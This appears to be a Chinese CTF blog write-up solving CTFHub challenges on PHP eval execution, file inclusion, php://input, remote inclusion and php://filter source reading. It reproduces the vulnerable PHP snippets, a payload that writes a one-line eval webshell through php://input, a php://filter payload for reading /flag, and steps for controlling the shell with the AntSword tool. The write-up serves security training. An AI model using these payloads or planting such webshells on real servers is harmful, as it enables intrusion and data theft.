CTFHUB——RCE之eval执行和文件包含漏洞

CTFHUB——RCE之eval执行和文件包含漏洞

  • eval执行
  • 文件包含
  • php://input
  • 远程包含
  • 读取源代码

eval执行

本关代码如图所示
CTFHUB——RCE之eval执行和文件包含漏洞_第1张图片

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。
通过ls命令查看当前目录文件,只有一个index.php文件
CTFHUB——RCE之eval执行和文件包含漏洞_第2张图片
所以通过ls /命令查看所有目录
CTFHUB——RCE之eval执行和文件包含漏洞_第3张图片
成功发现flag文件,通过cat命令进行查看
CTFHUB——RCE之eval执行和文件包含漏洞_第4张图片

文件包含

在学习本关时,如果对文件包含漏洞不是很了解,可以查看我的这篇文章,里面详细讲解了文件包含漏洞。
文件包含漏洞全面详解
进入本关后代码如图所示。
CTFHUB——RCE之eval执行和文件包含漏洞_第5张图片

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET[“file”]
否则就输出Hacker。

通过下方的英文得知,本关存在一个shell.txt,点击蓝色的shell,就会跳转到shell.txt界面
CTFHUB——RCE之eval执行和文件包含漏洞_第6张图片
发现里面写的是常见的一句话木马文件,因为这里存在include函数,所以这里我们有两种获取flag的方法。

方法1:直接通过post发包进行命令执行
将ctfhub传的参数用php执行

CTFHUB——RCE之eval执行和文件包含漏洞_第7张图片
成功获取当前目录
接下来步骤就和上一关一样,只不过将命令通过post传参进行命令执行。

查看当前所有目录,发现flag文件
CTFHUB——RCE之eval执行和文件包含漏洞_第8张图片
通过cat命令查看flag文件
CTFHUB——RCE之eval执行和文件包含漏洞_第9张图片
方法2:通过webshell工具直接连接shell.txt文件
这里我通过蚁剑直接连接shell.txt文件
CTFHUB——RCE之eval执行和文件包含漏洞_第10张图片
注意:连接前记得把本地代理关闭,要不可能无法正常连接。
添加后改成进入后台。
CTFHUB——RCE之eval执行和文件包含漏洞_第11张图片
右键打开终端命令
CTFHUB——RCE之eval执行和文件包含漏洞_第12张图片
进入终端后,输入命令和之前命令一样,成功获取flag
CTFHUB——RCE之eval执行和文件包含漏洞_第13张图片

php://input

进入本关后代码如图所示
CTFHUB——RCE之eval执行和文件包含漏洞_第14张图片

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

代码意思为:通过使用substr函数对file参数的前5个字符进行判断,如果等于php://才会执行include函数。

所以本关要求我们使用伪协议,我们可以通过伪协议php://input进行执行php代码。还是有两种方法可以获取flag。

方法1:直接在浏览器上通过post参数进行命令执行。
查询当前目录
CTFHUB——RCE之eval执行和文件包含漏洞_第15张图片
查询所有目录,发现flag文件
CTFHUB——RCE之eval执行和文件包含漏洞_第16张图片
通过cat命令获取flag
CTFHUB——RCE之eval执行和文件包含漏洞_第17张图片
方法2:可以通过php://input伪协议写入一句话木马,然后通过蚁剑连接获取flag。
写入代码如下,建议用burpsuit抓包通过repeater模块进行写入,这样可以更直观的知道一句话木马是否写入成功。

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>

CTFHUB——RCE之eval执行和文件包含漏洞_第18张图片
通过蚁剑进行连接
CTFHUB——RCE之eval执行和文件包含漏洞_第19张图片
连接成功后,其余步骤与上一关相同。进入终端输入命令查询flag。
CTFHUB——RCE之eval执行和文件包含漏洞_第20张图片
CTFHUB——RCE之eval执行和文件包含漏洞_第21张图片

远程包含

进入本关后代码如下
CTFHUB——RCE之eval执行和文件包含漏洞_第22张图片

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。

flag如下
CTFHUB——RCE之eval执行和文件包含漏洞_第23张图片

读取源代码

本关代码如下:
CTFHUB——RCE之eval执行和文件包含漏洞_第24张图片

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。

本关题目为读取源代码,所以本关我们需要使用php伪协议中的filter读取源代码。
payload为:

php://filter/convert.base64-encode/resource=/flag

成功获取到flag的base64编码
CTFHUB——RCE之eval执行和文件包含漏洞_第25张图片
解码后成功获取flag
CTFHUB——RCE之eval执行和文件包含漏洞_第26张图片

当然本关没有什么限制,如果直接读取的话也是可以成功读取出flag的。
CTFHUB——RCE之eval执行和文件包含漏洞_第27张图片

你可能感兴趣的:(网络安全,文件包含漏洞,CTFHUB,php,安全,linux,web安全,命令执行)